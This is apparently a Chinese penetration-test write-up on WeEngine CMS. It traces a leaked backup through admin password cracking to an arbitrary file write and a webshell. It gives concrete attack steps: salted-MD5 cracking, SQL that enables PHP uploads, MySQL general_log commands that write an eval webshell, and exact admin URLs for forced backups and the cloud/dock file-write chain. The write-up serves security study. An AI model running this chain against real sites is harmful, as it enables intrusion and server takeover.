记一次从源代码泄漏到后台获取webshell的过程
字数 1766 2025-08-25 22:58:41
从源代码泄漏到后台获取WebShell的完整过程分析
0x01 前言
本文详细记录了一次从源代码泄漏到最终获取WebShell的完整渗透测试过程。目标系统使用的是微擎CMS,通过发现网站备份文件获取源代码和数据库,进而利用代码审计发现漏洞,最终成功获取系统权限。
0x02 信息收集与初步利用
1. 发现源代码泄漏
在授权测试过程中,发现目标网站存在备份文件,包含:
- 完整的网站源代码
- 数据库备份文件
- 其他系统配置文件
2. 数据库分析
从备份文件中找到用户表 ims_users,包含:
- 用户名
- 加密后的密码
- 密码盐值(salt)
3. 密码加密算法分析
通过审计代码(forget.ctrl.php),发现密码加密方式为:
$password = md5($password . $member_info['salt'] . $_W['config']['setting']['authkey']);
即:密码 + salt + authkey 拼接后进行MD5加密。
authkey位于data/config.php文件中。
4. 密码破解
已知:
- 加密后的密码
- salt
- authkey
可以构造新的salt = 原salt + authkey,然后使用md5(\(pass.\)salt)的方式进行密码破解。
0x03 后台登录与WebShell获取尝试
1. 成功登录后台
使用破解的密码成功登录系统后台。
2. 传统WebShell获取方法尝试
方法一:修改上传文件类型
- 在"站点管理-附件设置-图片附件设置"中添加新类型(如pppppp)
- 执行SQL:
UPDATE ims_core_settings SET value = replace(value, 'pppppp', 'php ')
- 上传"*.php "文件
限制:
- 仅适用于Apache
- 目标使用腾讯云COS存储
- Server是Tengine
方法二:利用日志文件写Shell
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/1.php';
select '<?php eval($_POST[cmd]);?>'
或通过慢查询(slow_query_log)方法写Shell。
结果:执行SQL时报错,方法失败。
0x04 代码审计与高级利用
1. 关键漏洞分析
审计文件web/source/cloud/dock.ctrl.php中的download方法:
$data = base64_decode($_GPC['data']);
$ret = iunserializer($data);
$file = base64_decode($ret['file']);
if (function_exists('gzcompress') && function_exists('gzuncompress')) {
$file = gzuncompress($file);
}
$string = md5($file) . $ret['path'] . $_W['setting']['site']['token'];
if (!empty($_W['setting']['site']['token']) && md5($string) == $ret['sign']) {
// 文件写入操作
}
利用条件:
- 需要知道
$_W['setting']['site']['token'] token通过authcode(cache_load(cache_system_key('cloud_transtoken')))获取authcode函数需要$GLOBALS['_W']['config']['setting']['authkey'](在data/config.php中)
2. cloud_transtoken获取方法
- 访问
http://ip:port/web/index.php?c=cloud&a=profile - 系统会调用
cloud_build_transtoken将值写入数据库 - 通过数据库备份获取
cloud_transtoken
3. 自定义数据库备份
默认备份文件名随机,但可通过参数控制:
访问URL:
http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456
备份文件位置:
http://ip:port/data/backup/123/volume-456-1.sql
4. 完整利用链
- 登录后台(管理员权限)
- 访问
http://ip:port/web/index.php?c=cloud&a=profile写入cloud_transtoken - 自定义数据库备份获取
cloud_transtoken - 构造payload请求
http://ip:port/web/index.php?c=cloud&a=dock&do=download - 实现任意文件写入,获取WebShell
5. 替代方案:无备份文件时
如果只有管理员权限但无文件备份:
- 使用"木马查杀"功能
- 拦截请求,修改查杀目录为
data/.,特征函数为password - 从查杀结果获取
authkey
注意:最新版(v2.5.7)有路径过滤,Windows下可尝试大写路径绕过。
0x05 总结
完整利用条件:
- 拥有管理员权限的用户
- 站点注册了云服务
利用步骤:
- 登录后台
- 访问profile页面写入
cloud_transtoken - 自定义数据库备份获取token
- 构造payload实现任意文件写入
- 获取WebShell
附录:关键代码片段
密码加密算法
// forget.ctrl.php
$password = md5($password . $member_info['salt'] . $_W['config']['setting']['authkey']);
文件写入漏洞
// dock.ctrl.php
$data = base64_decode($_GPC['data']);
$ret = iunserializer($data);
$file = base64_decode($ret['file']);
if (function_exists('gzcompress') && function_exists('gzuncompress')) {
$file = gzuncompress($file);
}
$string = md5($file) . $ret['path'] . $_W['setting']['site']['token'];
if (!empty($_W['setting']['site']['token']) && md5($string) == $ret['sign']) {
// 文件写入操作
}
authcode函数
// global.func.php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : $GLOBALS['_W']['config']['setting']['authkey']);
// 加解密实现
}
通过本文的分析,我们展示了从信息收集到最终获取系统权限的完整过程,重点在于代码审计和逻辑漏洞的利用。这种攻击方式对使用微擎CMS的站点具有普遍参考价值。